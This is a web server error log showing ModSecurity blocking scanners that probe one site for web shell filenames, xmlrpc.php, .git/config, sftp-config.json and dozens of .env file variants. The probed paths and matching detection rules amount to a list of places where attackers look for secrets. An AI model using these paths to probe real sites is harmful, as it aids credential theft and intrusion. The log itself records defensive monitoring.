[Mon Apr 13 06:08:46.712009 2026] [:error] [pid 33942:tid 33991] [client 74.248.16.65:22214] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/taff.php"] [unique_id "adwX7hNHe8geO_lMeFajvQAAAEw"]
[Mon Apr 13 06:08:48.065997 2026] [:error] [pid 11325:tid 11346] [client 74.248.16.65:22261] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/taff.php"] [unique_id "adwX8OCGj3EEJtCwa0OeGQAAARM"]
[Mon Apr 13 06:08:49.514096 2026] [:error] [pid 34048:tid 34066] [client 74.248.16.65:46997] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/taff.php"] [unique_id "adwX8fSiQ_PJjlY5Ehz73gAAANA"]
[Mon Apr 13 06:08:51.584855 2026] [:error] [pid 34048:tid 34074] [client 74.248.16.65:9791] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/taff.php"] [unique_id "adwX8_SiQ_PJjlY5Ehz74QAAANg"]
[Mon Apr 13 06:08:53.871486 2026] [:error] [pid 33943:tid 34022] [client 74.248.16.65:46981] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "adwX9ayoXuZjocnxM5FzkgAAAJA"]
[Mon Apr 13 06:08:55.388979 2026] [:error] [pid 33943:tid 34014] [client 74.248.16.65:40460] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "adwX96yoXuZjocnxM5FzlwAAAIg"]
[Mon Apr 13 06:08:56.363975 2026] [:error] [pid 11325:tid 11337] [client 74.248.16.65:46583] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "adwX-OCGj3EEJtCwa0OeIAAAAQo"]
[Mon Apr 13 06:08:57.098055 2026] [:error] [pid 11325:tid 11343] [client 74.248.16.65:38614] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "adwX-eCGj3EEJtCwa0OeIwAAARA"]
[Mon Apr 13 06:10:48.605792 2026] [proxy_fcgi:error] [pid 11325:tid 11345] [client 74.248.16.65:26069] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:10:48.867118 2026] [proxy_fcgi:error] [pid 11325:tid 11330] [client 74.248.16.65:26069] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:10:49.160360 2026] [proxy_fcgi:error] [pid 11325:tid 11327] [client 74.248.16.65:26069] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:10:49.416683 2026] [proxy_fcgi:error] [pid 11325:tid 11340] [client 74.248.16.65:26069] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:10:49.700076 2026] [proxy_fcgi:error] [pid 11325:tid 11334] [client 74.248.16.65:26069] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:10:51.487671 2026] [proxy_fcgi:error] [pid 11325:tid 11346] [client 74.248.16.65:26069] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:10:51.745735 2026] [proxy_fcgi:error] [pid 11325:tid 11342] [client 74.248.16.65:26069] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:10:52.013383 2026] [proxy_fcgi:error] [pid 11325:tid 11337] [client 74.248.16.65:26069] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:10:53.872001 2026] [proxy_fcgi:error] [pid 11325:tid 11350] [client 74.248.16.65:26069] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:10:54.221157 2026] [proxy_fcgi:error] [pid 11325:tid 11332] [client 74.248.16.65:26069] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:10:54.473993 2026] [:error] [pid 11325:tid 11346] [client 74.248.16.65:26069] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "adwYbuCGj3EEJtCwa0Oe_QAAARM"]
[Mon Apr 13 06:10:55.676979 2026] [:error] [pid 34048:tid 34070] [client 74.248.16.65:30083] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "adwYb_SiQ_PJjlY5Ehz8KgAAANQ"]
[Mon Apr 13 06:10:56.471436 2026] [:error] [pid 33943:tid 34013] [client 74.248.16.65:21853] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "adwYcKyoXuZjocnxM5F0LQAAAIc"]
[Mon Apr 13 06:10:58.364208 2026] [:error] [pid 11325:tid 11338] [client 74.248.16.65:21871] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "adwYcuCGj3EEJtCwa0OfAwAAAQs"]
[Mon Apr 13 06:10:59.919779 2026] [:error] [pid 11325:tid 11349] [client 74.248.16.65:26081] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/afile.php"] [unique_id "adwYc-CGj3EEJtCwa0OfCAAAARY"]
[Mon Apr 13 06:11:00.734083 2026] [:error] [pid 33942:tid 33980] [client 74.248.16.65:20254] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/afile.php"] [unique_id "adwYdBNHe8geO_lMeFakLQAAAEE"]
[Mon Apr 13 06:11:02.167095 2026] [:error] [pid 33941:tid 33950] [client 74.248.16.65:9805] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/afile.php"] [unique_id "adwYdm_NKERAxgG-rYM-HQAAAAA"]
[Mon Apr 13 06:11:04.990158 2026] [:error] [pid 11325:tid 11343] [client 74.248.16.65:21780] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/afile.php"] [unique_id "adwYeOCGj3EEJtCwa0OfEQAAARA"]
[Mon Apr 13 06:11:06.462913 2026] [:error] [pid 33942:tid 33986] [client 74.248.16.65:30130] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xBrain.php"] [unique_id "adwYehNHe8geO_lMeFakLwAAAEc"]
[Mon Apr 13 06:11:07.669803 2026] [:error] [pid 33942:tid 33989] [client 74.248.16.65:9549] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xBrain.php"] [unique_id "adwYexNHe8geO_lMeFakMAAAAEo"]
[Mon Apr 13 06:11:08.757918 2026] [:error] [pid 11325:tid 11341] [client 74.248.16.65:9536] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xBrain.php"] [unique_id "adwYfOCGj3EEJtCwa0OfGAAAAQ4"]
[Mon Apr 13 06:11:10.139954 2026] [:error] [pid 33943:tid 34027] [client 74.248.16.65:9540] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xBrain.php"] [unique_id "adwYfqyoXuZjocnxM5F0TwAAAJU"]
[Mon Apr 13 06:11:10.920938 2026] [:error] [pid 33943:tid 34021] [client 74.248.16.65:20252] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yunu.php"] [unique_id "adwYfqyoXuZjocnxM5F0UgAAAI8"]
[Mon Apr 13 06:11:11.761897 2026] [:error] [pid 34048:tid 34053] [client 74.248.16.65:30088] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yunu.php"] [unique_id "adwYf_SiQ_PJjlY5Ehz8LwAAAMM"]
[Mon Apr 13 06:11:12.880061 2026] [:error] [pid 33941:tid 33975] [client 74.248.16.65:19851] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yunu.php"] [unique_id "adwYgG_NKERAxgG-rYM-IAAAABg"]
[Mon Apr 13 06:11:14.427716 2026] [:error] [pid 11325:tid 11351] [client 74.248.16.65:26101] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yunu.php"] [unique_id "adwYguCGj3EEJtCwa0OfGgAAARg"]
[Mon Apr 13 06:11:15.762918 2026] [:error] [pid 33943:tid 34027] [client 74.248.16.65:26545] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lexy.php"] [unique_id "adwYg6yoXuZjocnxM5F0WgAAAJU"]
[Mon Apr 13 06:11:16.665065 2026] [:error] [pid 33941:tid 33968] [client 74.248.16.65:21787] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lexy.php"] [unique_id "adwYhG_NKERAxgG-rYM-JAAAABE"]
[Mon Apr 13 06:11:18.248348 2026] [:error] [pid 11325:tid 11327] [client 74.248.16.65:9622] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lexy.php"] [unique_id "adwYhuCGj3EEJtCwa0OfIAAAAQA"]
[Mon Apr 13 06:11:19.542952 2026] [:error] [pid 33941:tid 33972] [client 74.248.16.65:26097] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lexy.php"] [unique_id "adwYh2_NKERAxgG-rYM-JgAAABU"]
[Mon Apr 13 13:38:43.466604 2026] [:error] [pid 57183:tid 57195] [client 36.75.237.77:63315] [client 36.75.237.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.75.237.77, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adyBYzDO3t8R5NaxzYRR4gAAAUo"]
[Mon Apr 13 13:38:43.478949 2026] [proxy_fcgi:error] [pid 57183:tid 57195] [client 36.75.237.77:63315] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 15:12:41.884169 2026] [:error] [pid 57183:tid 57202] [client 27.131.210.136:62328] [client 27.131.210.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.131.210.136, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adyXaTDO3t8R5NaxzYSHiwAAAVE"]
[Mon Apr 13 15:12:41.898287 2026] [proxy_fcgi:error] [pid 57183:tid 57202] [client 27.131.210.136:62328] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 20:37:11.775889 2026] [:error] [pid 7228:tid 7235] [client 103.77.107.178:49738] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "adzjdwEnn1dQrOSHHNWUugAAAQU"]
[Tue Apr 14 06:38:14.573919 2026] [:error] [pid 35713:tid 35732] [client 72.255.5.34:16098] [client 72.255.5.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.255.5.34, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad1wVq6-hhx6ZepqOSlmUAAAANA"]
[Tue Apr 14 06:38:14.603301 2026] [proxy_fcgi:error] [pid 35713:tid 35732] [client 72.255.5.34:16098] AH01071: Got error 'Primary script unknown'
[Tue Apr 14 12:34:50.822956 2026] [:error] [pid 37226:tid 37245] [client 223.184.254.185:33756] [client 223.184.254.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.184.254.185, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad3D6pOA5-IQ0IVmQCoYsAAAAVE"]
[Tue Apr 14 12:34:50.837187 2026] [proxy_fcgi:error] [pid 37226:tid 37245] [client 223.184.254.185:33756] AH01071: Got error 'Primary script unknown'
[Tue Apr 14 13:35:04.200648 2026] [:error] [pid 35629:tid 35681] [client 15.229.232.14:56254] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "ad3SCDY8VahzC1YJBSjtnQAAAFY"]
[Tue Apr 14 13:35:06.132344 2026] [:error] [pid 35629:tid 35672] [client 15.229.232.14:56258] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "ad3SCjY8VahzC1YJBSjtpQAAAE0"]
[Tue Apr 14 13:35:07.661873 2026] [:error] [pid 35629:tid 35663] [client 15.229.232.14:40332] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "ad3SCzY8VahzC1YJBSjtsQAAAEQ"]
[Tue Apr 14 13:35:09.127331 2026] [:error] [pid 35629:tid 35672] [client 15.229.232.14:40344] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "ad3SDTY8VahzC1YJBSjtugAAAE0"]
[Tue Apr 14 13:35:10.593547 2026] [:error] [pid 35630:tid 35692] [client 15.229.232.14:40346] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "ad3SDjer0pVFxOiOauUARgAAAIY"]
[Tue Apr 14 13:35:12.058982 2026] [:error] [pid 4902:tid 4924] [client 15.229.232.14:40356] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "ad3SEIv8vJvl9lGy39hdVAAAAZQ"]
[Tue Apr 14 13:35:13.519836 2026] [:error] [pid 35630:tid 35704] [client 15.229.232.14:40370] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "ad3SETer0pVFxOiOauUASQAAAJI"]
[Tue Apr 14 13:35:14.981046 2026] [:error] [pid 35629:tid 35683] [client 15.229.232.14:40386] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "ad3SEjY8VahzC1YJBSjt4QAAAFg"]
[Tue Apr 14 13:35:16.444356 2026] [:error] [pid 35629:tid 35667] [client 15.229.232.14:32846] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "ad3SFDY8VahzC1YJBSjt5gAAAEg"]
[Tue Apr 14 13:35:17.951932 2026] [:error] [pid 35629:tid 35669] [client 15.229.232.14:32860] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "ad3SFTY8VahzC1YJBSjt7gAAAEo"]
[Tue Apr 14 13:35:19.421291 2026] [:error] [pid 35713:tid 35716] [client 15.229.232.14:32870] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "ad3SF66-hhx6ZepqOSlU4wAAAMA"]
[Tue Apr 14 13:35:20.885928 2026] [:error] [pid 35630:tid 35705] [client 15.229.232.14:32878] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "ad3SGDer0pVFxOiOauUAWwAAAJM"]
[Tue Apr 14 13:35:22.354397 2026] [:error] [pid 35628:tid 35655] [client 15.229.232.14:32888] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.sample"] [unique_id "ad3SGufPm-ozGuwCWXLWSwAAABc"]
[Tue Apr 14 13:35:23.819247 2026] [:error] [pid 37048:tid 37050] [client 15.229.232.14:32900] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "ad3SG552Bo1OyzeXo_zfDAAAAQA"]
[Tue Apr 14 13:35:25.282477 2026] [:error] [pid 18776:tid 18786] [client 15.229.232.14:32914] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "ad3SHcIjIcAYZxezzAWhHAAAAcg"]
[Tue Apr 14 13:35:26.756197 2026] [:error] [pid 35629:tid 35663] [client 15.229.232.14:59706] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "ad3SHjY8VahzC1YJBSjuGwAAAEQ"]
[Tue Apr 14 13:35:28.222868 2026] [:error] [pid 35628:tid 35652] [client 15.229.232.14:59710] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.stage"] [unique_id "ad3SIOfPm-ozGuwCWXLWVAAAABQ"]
[Tue Apr 14 13:35:29.690085 2026] [:error] [pid 4902:tid 4906] [client 15.229.232.14:59720] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.ci"] [unique_id "ad3SIYv8vJvl9lGy39hdfgAAAYI"]
[Tue Apr 14 13:35:32.747434 2026] [:error] [pid 35629:tid 35662] [client 15.229.232.14:59736] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.live"] [unique_id "ad3SJDY8VahzC1YJBSjuIgAAAEM"]
[Tue Apr 14 13:35:34.210669 2026] [:error] [pid 35629:tid 35672] [client 15.229.232.14:59748] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.preprod"] [unique_id "ad3SJjY8VahzC1YJBSjuLAAAAE0"]
